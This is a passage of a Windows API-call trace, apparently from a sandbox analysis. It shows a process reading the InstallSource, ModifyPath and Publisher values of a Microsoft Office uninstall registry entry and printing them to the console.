dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x1, pvData="c:\\program files\\microsoft office\\root\\integration\\", pcbData=0x23f670*=0x68) returned 0x0 [0147.554] __iob_func () returned 0x7fefd702a80 [0147.554] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.554] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.554] _fileno (_File=0x7fefd702ab0) returned 1 [0147.554] _errno () returned 0xc4bb0 [0147.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.554] _errno () returned 0xc4bb0 [0147.554] GetFileType (hFile=0x50) returned 0x1 [0147.554] lstrlenW (lpString=" ") returned 4 [0147.554] GetConsoleOutputCP () returned 0x1b5 [0147.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.554] GetConsoleOutputCP () returned 0x1b5 [0147.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.554] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.554] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.554] lstrlenW (lpString="InstallSource") returned 13 [0147.554] __iob_func () returned 0x7fefd702a80 [0147.554] _fileno (_File=0x7fefd702ab0) returned 1 [0147.554] _errno () returned 0xc4bb0 [0147.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.554] _errno () returned 0xc4bb0 [0147.554] GetFileType (hFile=0x50) returned 0x1 [0147.554] lstrlenW (lpString="InstallSource") returned 13 [0147.555] GetConsoleOutputCP () returned 0x1b5 [0147.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.555] GetConsoleOutputCP () returned 0x1b5 [0147.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.555] __iob_func () returned 0x7fefd702a80 [0147.555] _fileno (_File=0x7fefd702ab0) returned 1 [0147.555] _errno () returned 0xc4bb0 [0147.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.555] _errno () returned 0xc4bb0 [0147.555] GetFileType (hFile=0x50) returned 0x1 [0147.555] lstrlenW (lpString=" ") returned 4 [0147.555] GetConsoleOutputCP () returned 0x1b5 [0147.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.555] GetConsoleOutputCP () returned 0x1b5 [0147.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.556] __iob_func () returned 0x7fefd702a80 [0147.556] _fileno (_File=0x7fefd702ab0) returned 1 [0147.556] _errno () returned 0xc4bb0 [0147.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.556] _errno () returned 0xc4bb0 [0147.556] GetFileType (hFile=0x50) returned 0x1 [0147.556] lstrlenW (lpString="REG_SZ") returned 6 [0147.556] GetConsoleOutputCP () returned 0x1b5 [0147.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.556] GetConsoleOutputCP () returned 0x1b5 [0147.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.556] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.556] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.556] __iob_func () returned 0x7fefd702a80 [0147.556] _fileno (_File=0x7fefd702ab0) returned 1 [0147.556] _errno () returned 0xc4bb0 [0147.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.556] _errno () returned 0xc4bb0 [0147.556] GetFileType (hFile=0x50) returned 0x1 [0147.556] lstrlenW (lpString=" ") returned 4 [0147.556] GetConsoleOutputCP () returned 0x1b5 [0147.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.556] GetConsoleOutputCP () returned 0x1b5 [0147.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.557] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.557] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.557] __iob_func () returned 0x7fefd702a80 [0147.557] _fileno (_File=0x7fefd702ab0) returned 1 [0147.557] _errno () returned 0xc4bb0 [0147.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.557] _errno () returned 0xc4bb0 [0147.557] GetFileType (hFile=0x50) returned 0x1 [0147.557] lstrlenW (lpString="c:\\program files\\microsoft office\\root\\integration\\") returned 51 [0147.557] GetConsoleOutputCP () returned 0x1b5 [0147.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\program files\\microsoft office\\root\\integration\\", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0147.557] GetConsoleOutputCP () returned 0x1b5 [0147.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="c:\\program files\\microsoft office\\root\\integration\\", cchWideChar=51, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\program files\\microsoft office\\root\\integration\\", lpUsedDefaultChar=0x0) returned 51 [0147.557] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 51 [0147.557] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.557] __iob_func () returned 0x7fefd702a80 [0147.557] _fileno (_File=0x7fefd702ab0) returned 1 [0147.557] _errno () returned 0xc4bb0 [0147.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.557] _errno () returned 0xc4bb0 [0147.557] GetFileType (hFile=0x50) returned 0x1 [0147.558] lstrlenW (lpString="\n") returned 1 [0147.558] GetConsoleOutputCP () returned 0x1b5 [0147.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.558] GetConsoleOutputCP () returned 0x1b5 [0147.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.558] GetProcessHeap () returned 0x2e0000 [0147.558] GetProcessHeap () returned 0x2e0000 [0147.558] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.558] GetProcessHeap () returned 0x2e0000 [0147.558] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.558] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.558] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.558] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.558] GetProcessHeap () returned 0x2e0000 [0147.558] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.558] GetProcessHeap () returned 0x2e0000 [0147.558] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.558] GetProcessHeap () returned 0x2e0000 [0147.558] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.558] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.558] __iob_func () returned 0x7fefd702a80 [0147.559] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.559] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.559] _fileno (_File=0x7fefd702ab0) returned 1 [0147.559] _errno () returned 0xc4bb0 [0147.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.559] _errno () returned 0xc4bb0 [0147.559] GetFileType (hFile=0x50) returned 0x1 [0147.559] lstrlenW (lpString=" ") returned 4 [0147.559] GetConsoleOutputCP () returned 0x1b5 [0147.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.559] GetConsoleOutputCP () returned 0x1b5 [0147.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.559] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.559] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.559] lstrlenW (lpString="ModifyPath") returned 10 [0147.559] __iob_func () returned 0x7fefd702a80 [0147.559] _fileno (_File=0x7fefd702ab0) returned 1 [0147.559] _errno () returned 0xc4bb0 [0147.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.559] _errno () returned 0xc4bb0 [0147.559] GetFileType (hFile=0x50) returned 0x1 [0147.559] lstrlenW (lpString="ModifyPath") returned 10 [0147.559] GetConsoleOutputCP () returned 0x1b5 [0147.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.560] GetConsoleOutputCP () returned 0x1b5 [0147.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.560] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.560] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.560] __iob_func () returned 0x7fefd702a80 [0147.560] _fileno (_File=0x7fefd702ab0) returned 1 [0147.560] _errno () returned 0xc4bb0 [0147.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.560] _errno () returned 0xc4bb0 [0147.560] GetFileType (hFile=0x50) returned 0x1 [0147.560] lstrlenW (lpString=" ") returned 4 [0147.560] GetConsoleOutputCP () returned 0x1b5 [0147.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.560] GetConsoleOutputCP () returned 0x1b5 [0147.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.560] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.560] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.560] __iob_func () returned 0x7fefd702a80 [0147.560] _fileno (_File=0x7fefd702ab0) returned 1 [0147.560] _errno () returned 0xc4bb0 [0147.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.560] _errno () returned 0xc4bb0 [0147.560] GetFileType (hFile=0x50) returned 0x1 [0147.561] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.561] GetConsoleOutputCP () returned 0x1b5 [0147.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.561] GetConsoleOutputCP () returned 0x1b5 [0147.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.561] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.561] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.561] __iob_func () returned 0x7fefd702a80 [0147.561] _fileno (_File=0x7fefd702ab0) returned 1 [0147.561] _errno () returned 0xc4bb0 [0147.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.561] _errno () returned 0xc4bb0 [0147.561] GetFileType (hFile=0x50) returned 0x1 [0147.561] lstrlenW (lpString=" ") returned 4 [0147.561] GetConsoleOutputCP () returned 0x1b5 [0147.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.561] GetConsoleOutputCP () returned 0x1b5 [0147.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.561] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.561] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.562] __iob_func () returned 0x7fefd702a80 [0147.562] _fileno (_File=0x7fefd702ab0) returned 1 [0147.562] _errno () returned 0xc4bb0 [0147.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.562] _errno () returned 0xc4bb0 [0147.562] GetFileType (hFile=0x50) returned 0x1 [0147.562] lstrlenW (lpString="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}") returned 52 [0147.562] GetConsoleOutputCP () returned 0x1b5 [0147.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.562] GetConsoleOutputCP () returned 0x1b5 [0147.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /I{90160000-007E-0000-1000-0000000FF1CE}", lpUsedDefaultChar=0x0) returned 52 [0147.562] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.562] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.562] __iob_func () returned 0x7fefd702a80 [0147.562] _fileno (_File=0x7fefd702ab0) returned 1 [0147.562] _errno () returned 0xc4bb0 [0147.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.562] _errno () returned 0xc4bb0 [0147.562] GetFileType (hFile=0x50) returned 0x1 [0147.562] lstrlenW (lpString="\n") returned 1 [0147.562] GetConsoleOutputCP () returned 0x1b5 [0147.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.563] GetConsoleOutputCP () returned 0x1b5 [0147.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.563] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.563] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.563] GetProcessHeap () returned 0x2e0000 [0147.563] GetProcessHeap () returned 0x2e0000 [0147.563] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.563] GetProcessHeap () returned 0x2e0000 [0147.563] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.563] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.563] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.563] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.563] GetProcessHeap () returned 0x2e0000 [0147.563] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.563] GetProcessHeap () returned 0x2e0000 [0147.563] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.563] GetProcessHeap () returned 0x2e0000 [0147.563] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.563] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.563] __iob_func () returned 0x7fefd702a80 [0147.563] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.563] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.563] _fileno (_File=0x7fefd702ab0) returned 1 [0147.563] _errno () returned 0xc4bb0 [0147.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.563] _errno () returned 0xc4bb0 [0147.563] GetFileType (hFile=0x50) returned 0x1 [0147.563] lstrlenW (lpString=" ") returned 4 [0147.563] GetConsoleOutputCP () returned 0x1b5 [0147.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.564] GetConsoleOutputCP () returned 0x1b5 [0147.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.564] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.564] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.564] lstrlenW (lpString="Publisher") returned 9 [0147.564] __iob_func () returned 0x7fefd702a80 [0147.564] _fileno (_File=0x7fefd702ab0) returned 1 [0147.564] _errno () returned 0xc4bb0 [0147.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.564] _errno () returned 0xc4bb0 [0147.564] GetFileType (hFile=0x50) returned 0x1 [0147.564] lstrlenW (lpString="Publisher") returned 9 [0147.564] GetConsoleOutputCP () returned 0x1b5 [0147.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.564] GetConsoleOutputCP () returned 0x1b5 [0147.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.564] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.564] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.565] __iob_func () returned 0x7fefd702a80 [0147.565] _fileno (_File=0x7fefd702ab0) returned 1 [0147.565] _errno () returned 0xc4bb0 [0147.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.565] _errno () returned 0xc4bb0 [0147.565] GetFileType (hFile=0x50) returned 0x1 [0147.565] lstrlenW (lpString=" ") returned 4 [0147.565] GetConsoleOutputCP () returned 0x1b5 [0147.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.565] GetConsoleOutputCP () returned 0x1b5 [0147.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.565] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.565] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.565] __iob_func () returned 0x7fefd702a80 [0147.565] _fileno (_File=0x7fefd702ab0) returned 1 [0147.565] _errno () returned 0xc4bb0 [0147.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.565] _errno () returned 0xc4bb0 [0147.565] GetFileType (hFile=0x50) returned 0x1 [0147.565] lstrlenW (lpString="REG_SZ") returned 6 [0147.565] GetConsoleOutputCP () returned 0x1b5 [0147.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.566] GetConsoleOutputCP () returned 0x1b5 [0147.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.566] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.566] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.566] __iob_func () returned 0x7fefd702a80 [0147.566] _fileno (_File=0x7fefd702ab0) returned 1 [0147.566] _errno () returned 0xc4bb0 [0147.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.566] _errno () returned 0xc4bb0 [0147.566] GetFileType (hFile=0x50) returned 0x1 [0147.566] lstrlenW (lpString=" ") returned 4 [0147.566] GetConsoleOutputCP () returned 0x1b5 [0147.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.566] GetConsoleOutputCP () returned 0x1b5 [0147.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, 